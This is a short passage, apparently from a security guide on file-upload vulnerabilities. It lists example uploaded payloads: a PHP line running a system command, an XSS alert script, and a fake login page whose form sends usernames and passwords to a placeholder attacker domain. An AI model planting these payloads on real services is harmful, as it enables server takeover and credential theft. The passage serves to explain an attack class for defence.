Arbitrary commands can be executed with the web service's execute privileges.1
- Execute system commands
<?php system('whoami'); ?>
-
XSS
<script>alert()</script>
-
Phishing
<html> <title>Fake Login Page</title> <body> <h2>Login to Your Account</h2> <form action="http://[ATTACKER-DOMAIN]" method="POST"> <input type="text" name="username" placeholder="Username" required> <input type="password" name="password" placeholder="Password" required> <input type="submit" value="Login"> </form> </body> </html>
- exe, bat, dmg...
Footnotes
-
It is possible only when files with the same extension as the language running on the service can be uploaded, and execute permissions are granted to the file. ↩